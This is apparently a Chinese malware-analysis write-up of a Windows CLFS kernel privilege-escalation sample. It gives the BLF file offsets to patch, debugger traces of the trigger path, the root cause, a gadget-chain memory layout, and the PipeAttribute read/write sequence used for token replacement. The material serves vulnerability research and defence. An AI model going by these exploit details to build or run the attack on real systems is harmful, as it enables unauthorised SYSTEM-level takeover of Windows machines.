BLF构造
先放关键patch部分
地址 | 原始值 | 目标值 | 备注 |
BLock Header CheckSum (0x80C etc.) | ㅤ | ㅤ | CRC32 CheckSum |
0x1E16 | ㅤ | FF FF FF FF | ContainerContext QueueId |
0x1E20 | ㅤ | 用户态精准控制 | ContainerContext pContainer |
样本通过模拟CLFS驱动创建BLF文件,逆向分析下能看到创建的BLF文件有两个Part的操作。
第一部分对应于BLF文件的
Control Block
大小即0x800
这个部分与正常创建的BLF文件基本无异
我们的重点内容在于第二部分中
Base Block
或者被称为 General MetaData Block
的构造关键修改点有以下
被修改为
0x1600
的SignatureOffsetContainerContext的QueueId属性被置为了
0xFFFFFFFF
ContainerContext的pContainer被置为了用户态精准控制的地址
漏洞分析
对于构造的gadget利用部分打下硬件断点,能够找到漏洞触发点,以及gadget函数部分。
1: kd> ba w4 0xFFFFA183DF185000
1: kd> ba w4 FFFFA183DF574000
1: kd> g
Breakpoint 1 hit
nt!XmXchgOp+0x19:
fffff806`3d395eb9 8b516c mov edx,dword ptr [rcx+6Ch]
0: kd> k
# Child-SP RetAddr Call Site
00 fffff685`2986ef00 fffff806`3cd46f92 nt!XmXchgOp+0x19
01 fffff685`2986ef30 fffff806`3cd57369 CLFS!CClfsBaseFilePersisted::RemoveContainer+0x152
02 fffff685`2986ef90 fffff806`3cd23156 CLFS!CClfsBaseFilePersisted::LoadContainerQ+0x379
03 fffff685`2986f100 fffff806`3cd4edea CLFS!CClfsLogFcbPhysical::Initialize+0x6da
04 fffff685`2986f240 fffff806`3cd50abb CLFS!CClfsRequest::Create+0x75e
05 fffff685`2986f390 fffff806`3cd50887 CLFS!CClfsRequest::Dispatch+0x97
06 fffff685`2986f3e0 fffff806`3cd507d7 CLFS!ClfsDispatchIoRequest+0x87
07 fffff685`2986f430 fffff806`3d291835 CLFS!CClfsDriver::LogIoDispatch+0x27
08 fffff685`2986f460 fffff806`3d292e34 nt!IofCallDriver+0x55
09 fffff685`2986f4a0 fffff806`3d67a91d nt!IoCallDriverWithTracing+0x34
0a fffff685`2986f4f0 fffff806`3d5f507e nt!IopParseDevice+0x117d
0b fffff685`2986f660 fffff806`3d697fda nt!ObpLookupObjectName+0x3fe
0c fffff685`2986f830 fffff806`3d618e2f nt!ObOpenObjectByNameEx+0x1fa
0d fffff685`2986f960 fffff806`3d618a09 nt!IopCreateFile+0x40f
0e fffff685`2986fa00 fffff806`3d40afb5 nt!NtCreateFile+0x79
0f fffff685`2986fa90 00007ff8`5fdad814 nt!KiSystemServiceCopyEnd+0x25
10 00000077`6e4ff7d8 00007ff6`362d57cc 0x00007ff8`5fdad814
11 00000077`6e4ff7e0 fffff806`3d002000 0x00007ff6`362d57cc
12 00000077`6e4ff7e8 00000195`cf258dd0 nt!VrpRegistryString <PERF> (nt+0x0)
13 00000077`6e4ff7f0 00000195`cf253f90 0x00000195`cf258dd0
14 00000077`6e4ff7f8 00000195`cf253ba8 0x00000195`cf253f90
15 00000077`6e4ff800 00000000`00000000 0x00000195`cf253ba8
分析
CClfsBaseFilePersisted::LoadContainerQ
对应位置能看到触发CClfsBaseFilePersisted::RemoveContainer
的前置条件是ContainerContext的cidQueue
属性值为0xFFFFFFFF
对应于样本中的patchpContainer被指向了用户态构造的地址
对应调用点于
实际上当我们调用NtCreateFile时首先会调用到
CClfsBaseFilePersisted::ReadImage
对应的我们首先会将SignatureOffset对应Array上的内容依次放在各个sector的末尾两位。0: kd> k
# Child-SP RetAddr Call Site
00 fffff685`29e36f38 fffff806`3cd54222 CLFS!ClfsDecodeBlock
01 fffff685`29e36f40 fffff806`3cd5a4f9 CLFS!CClfsBaseFilePersisted::ReadMetadataBlock+0x182
02 fffff685`29e36fe0 fffff806`3cd5a29a CLFS!CClfsBaseFile::AcquireMetadataBlock+0x45
03 fffff685`29e37010 fffff806`3cd59c56 CLFS!CClfsBaseFilePersisted::ReadImage+0x25e
04 fffff685`29e37080 fffff806`3cd22da2 CLFS!CClfsBaseFilePersisted::OpenImage+0x2fa
05 fffff685`29e37100 fffff806`3cd4edea CLFS!CClfsLogFcbPhysical::Initialize+0x326
06 fffff685`29e37240 fffff806`3cd50abb CLFS!CClfsRequest::Create+0x75e
07 fffff685`29e37390 fffff806`3cd50887 CLFS!CClfsRequest::Dispatch+0x97
08 fffff685`29e373e0 fffff806`3cd507d7 CLFS!ClfsDispatchIoRequest+0x87
而后会调用到
CClfsBaseFilePersisted::LoadContainerQ
由于QueueId
被置为了0xFFFFFFFF
因此我们就能继而调用到CClfsBaseFilePersisted::RemoveContainer
在调用
CClfsBaseFilePersisted::RemoveContainer
前,会将pContainer置空。在执行
CClfsBaseFilePersisted::FlushImage
前会将rgContainers
数组中该容器偏移值置0这导致了
CClfsBaseFilePersisted::FlushImage
中CClfsBaseFilePersisted::WriteMetadataBlock
调用
CClfsBaseFile::AcquireContainerContext
出现问题这会引发pContainer无法被正常备份在this指针中。
而后当我们调用
ClfsEncodeBlock
时,将会从每个Sector的末两个字节恢复到SignatureOffset对应的Array上,在这里对应于0x1E00
(0x1600+0x800
),正好与Container Context交叠,实现了pContainer覆盖。由于先前此
Container
对应的rgContainers
被置空导致CClfsBaseFile::AcquireContainerContext
调用根本不可能成功,因此跳过了从this指针中恢复pContainer
的过程。至此,
pContainer
完成篡改。提权利用技术
样本适配Windows 7 - Windows 11,利用方式均使用PipeAttribute任意读原语利用方式,读取进程Token的内核地址并结合漏洞触发任意写,完成Token替换。
下图是样本构造的gadgets逻辑
下面分别逆向对应gadgets作用
HalpDmaPowerCriticalTransitionCallback
伪代码操作如下
func1 = poi(rcx+0x50)
poi(rcx+0xD8) = 1
func1(poi(rcx+0x40), rdx)
XmXchgOp
伪代码操作如下
// XmXchgOp
if (poi(rcx+0x78) == 0) {
poi(rcx+0x60) = (BYTE)poi(rcx+0x68) // 1 Byte
} else if (poi(rcx+0x78) == 3) {
poi(rcx+0x60) = (DWORD)poi(rcx+0x68) // 4 Bytes
} else {
poi(rcx+0x60) = (WORD)poi(rcx+0x68) // 2 Bytes
}
// XmStoreResult
if (poi(rcx+0x78) == 1) {
poi(rcx+0x58) = (DWORD)poi(rcx+0x6C) // 4 Bytes
} else if (poi(rcx+0x78) == 0) {
poi(rcx+0x58) = (BYTE)poi(rcx+0x6C) // 1 Byte
} else {
poi(rcx+0x58) = (WORD)poi(rcx+0x6C) // 2 Bytes
}
简单总结gadget构造内容如下:
- vftable:
0x00: 0x00000000
0x08: pHalpDmaPowerCriticalTransitionCallback
0x10: 0x00000000
0x18: pXmXchgOp
- gadgets
0x00: vftable
0x08: 0x00000000
···
0x40: 用户态变量地址
0x48: ??????????
0x50: pXmXchgOp
0x58: WrittenPtr + 4
0x60: WrittenPtr
0x68: WrittenData
0x70: ??????????
0x78: 0x00000003
gadgets真实排布情况如下
对应的vftable
下面来分析gadget调用与其实际用途
首先会调用到
XmXchgOp
将poi(rcx+0x68)
处的内容写到poi(rcx+0x60)
,也就是WrittenData写道对应的WrittenPtr上而后会调用到
HalpDmaPowerCriticalTransitionCallback
继续调用XmXchgOp
rcx被修改为poi(rcx+0x40)
也就是用户态变量地址
其中
HalpDmaPowerCriticalTransitionCallback
并无实际用途当样本调用
blf::write
即实现了一次任意写,样本多次调用分别对应于以下写入 PipeAttribute 实现伪造,实现任意读,读取System Token
写入 进程Token对应的内核地址,实现Token替换
恢复 PipeAttribute 导向正常状态
至此样本提权完成。